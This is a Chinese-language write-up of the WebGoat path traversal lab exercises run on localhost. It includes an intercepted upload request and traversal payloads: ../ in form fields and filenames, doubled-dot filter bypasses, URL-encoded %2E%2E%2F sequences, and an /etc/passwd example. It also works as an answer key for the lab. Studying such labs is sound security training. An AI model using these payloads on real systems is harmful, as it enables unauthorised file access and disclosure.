WebGoat
介绍
这是一个学习靶场,主要针对Java web安全进行一定的练习。
项目下载
https://github.com/WebGoat/WebGoat/releases/tag/v8.2.2
由于我现在常用的java版本比较低所以就用旧项目的jar包了。
项目运行
在jar包所在路径下打开终端,并输入下面代码运行。
java -jar .\webgoat-server-8.2.2.jar
这里使用默认端口8080,如果需要更改端口,再在命令中指定端口即可。
于是得到网页入口页面为:http://localhost:8080/WebGoat/
注册一个账户密码登录即可。
路径遍历
路径遍历是比较常见web漏洞,其危害也比较严重。路径遍历指的是在没有允许的情况下,攻击者可以通过web,来进行访问和修改未授权路径中的文件。
举例:在网页中访问文件,一般会给出一个这样的地址,http://example.com/file=report.pdf,这个地址后面这个file叫做参数,report.pdf叫做参数值。攻击者可以通过访问http://example.com/file=../../../../../etc/passwd来窃取服务器的密码信息。这里../的作用是返回到父文件目录,经过多次操作就可以返回到服务器的根目录下。
WebGoat-Path traversal(路径遍历)
任务-页面2
这个题目内容是一个更新用户信息的界面。要求是将头像存放在C:\Users\erhui/.webgoat-8.2.2/PathTraversal/lihuan
目录下。
正常更新头像发现,图片被保存在C:\Users\erhui.webgoat-8.2.2\PathTraversal\lihuan\test下。我们通过burpsuite抓下包来看看。
内容如下:
POST /WebGoat/PathTraversal/profile-upload HTTP/1.1
Host: localhost:8080
Content-Length: 734901
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB7Mas0qi8RSmENKz
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/WebGoat/start.mvc
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=LWdZ_R6vggYP29PFzL5aJ9-kUTw8JPXzTtyxJudi
Connection: keep-alive
------WebKitFormBoundaryB7Mas0qi8RSmENKz
Content-Disposition: form-data; name="uploadedFile"; filename="61d84d3057024e6192faba2d3260dbbe.jpg"
Content-Type: image/jpeg
中间一大串图片数据
------WebKitFormBoundary8CkxSgV5BOJoI45m
Content-Disposition: form-data; name="fullName"
test
------WebKitFormBoundary8CkxSgV5BOJoI45m
Content-Disposition: form-data; name="email"
test@test.com
------WebKitFormBoundary8CkxSgV5BOJoI45m
Content-Disposition: form-data; name="password"
test
------WebKitFormBoundary8CkxSgV5BOJoI45m--
请求体中出现了图片信息,这里fullName参数下面的值改成../test即可完成任务。
任务-页面3
这次过滤了含有../字符串的内容,只需要将fullName参数下面的参数值改成…/./test(双写),即可。
任务-页面4
这次通过查看源代码,发现使用的originalFilename
public AttackResult uploadFileHandler(@RequestParam("uploadedFileRemoveUserInput") MultipartFile file) {
return super.execute(file, file.getOriginalFilename());
}
并且对参数没有做任何处理,所以这里只需要在filename=”61d84d3057024e6192faba2d3260dbbe.jpg”这里加上的名字前加上../即可。
任务-页面5
这次目标是获取一个文件名叫做“path-traversal-secret”的jpg图片。
点击按钮show random cat picture发现图片会随机变化,f12打开控制台,查看network,发现存在请求`http://localhost:8080/WebGoat/PathTraversal/random-picture`。访问发现是个错误图片,我们在继续看一下请求头。发现
Location:/PathTraversal/random-picture?id=8.jpg
HTTP 重定向是一种通过服务器响应将客户端请求引导到另一个 URL 的机制。它通常通过 HTTP 状态码和 Location 字段实现,广泛应用于页面跳转、URL 优化和安全性提升等场景。
我们拼接一下,访问一下`http://localhost:8080/WebGoat/PathTraversal/random-picture?id=8.jpg`发现显示内容为
C:\Users\erhui\.webgoat-8.2.2\PathTraversal\cats\1.jpg,C:\Users\erhui\.webgoat-8.2.2\PathTraversal\cats\10.jpg,C:\Users\erhui\.webgoat-8.2.2\PathTraversal\cats\2.jpg,C:\Users\erhui\.webgoat-8.2.2\PathTraversal\cats\3.jpg,C:\Users\erhui\.webgoat-8.2.2\PathTraversal\cats\4.jpg,C:\Users\erhui\.webgoat-8.2.2\PathTraversal\cats\5.jpg,C:\Users\erhui\.webgoat-8.2.2\PathTraversal\cats\6.jpg,C:\Users\erhui\.webgoat-8.2.2\PathTraversal\cats\7.jpg,C:\Users\erhui\.webgoat-8.2.2\PathTraversal\cats\8.jpg,C:\Users\erhui\.webgoat-8.2.2\PathTraversal\cats\9.jpg
发现出现上面路径。应该是将这路径下面的所有图片文件的路径都显示了出来。我们尝试一下../发现提示参数值非法。因为这个是get请求,我们很容易就能想到,使用一下url编码。将../编码后,访问`http://localhost:8080/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F8.jgp`
发现访问显示上一级目录的各文件地址。
C:\Users\erhui\.webgoat-8.2.2\PathTraversal\cats\..\cats,C:\Users\erhui\.webgoat-8.2.2\PathTraversal\cats\..\lihuan,C:\Users\erhui\.webgoat-8.2.2\PathTraversal\cats\..\test,C:\Users\erhui\.webgoat-8.2.2\PathTraversal\cats\..\鐏劙-copy.png
下面访问`http://localhost:8080/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2F8.jgp`,显示结果如下:
C:\Users\erhui\.webgoat-8.2.2\PathTraversal\cats\..\..\ClientSideFiltering,C:\Users\erhui\.webgoat-8.2.2\PathTraversal\cats\..\..\data,C:\Users\erhui\.webgoat-8.2.2\PathTraversal\cats\..\..\path-traversal-secret.jpg,C:\Users\erhui\.webgoat-8.2.2\PathTraversal\cats\..\..\PathTraversal,C:\Users\erhui\.webgoat-8.2.2\PathTraversal\cats\..\..\test,C:\Users\erhui\.webgoat-8.2.2\PathTraversal\cats\..\..\XXE
发现path-traversal-secret.jpg,
访问http://localhost:8080/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret注意这里不能带.jpg后缀,会报错。发现图片是无法显示的,我们抓包看一下。
HTTP/1.1 200 OK
Connection: keep-alive
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Type: image/jpeg
Content-Length: 63
Date: Thu, 04 Sep 2025 07:43:19 GMT
You found it submit the SHA-512 hash of your username as answer
结果是个字符串,当然无法显示为图片了。
给出提示,将自己的用户名进行sha-512哈希加密,即可得出答案。
任务-页面7
暂时不知道如何在windows环境下完成此问题。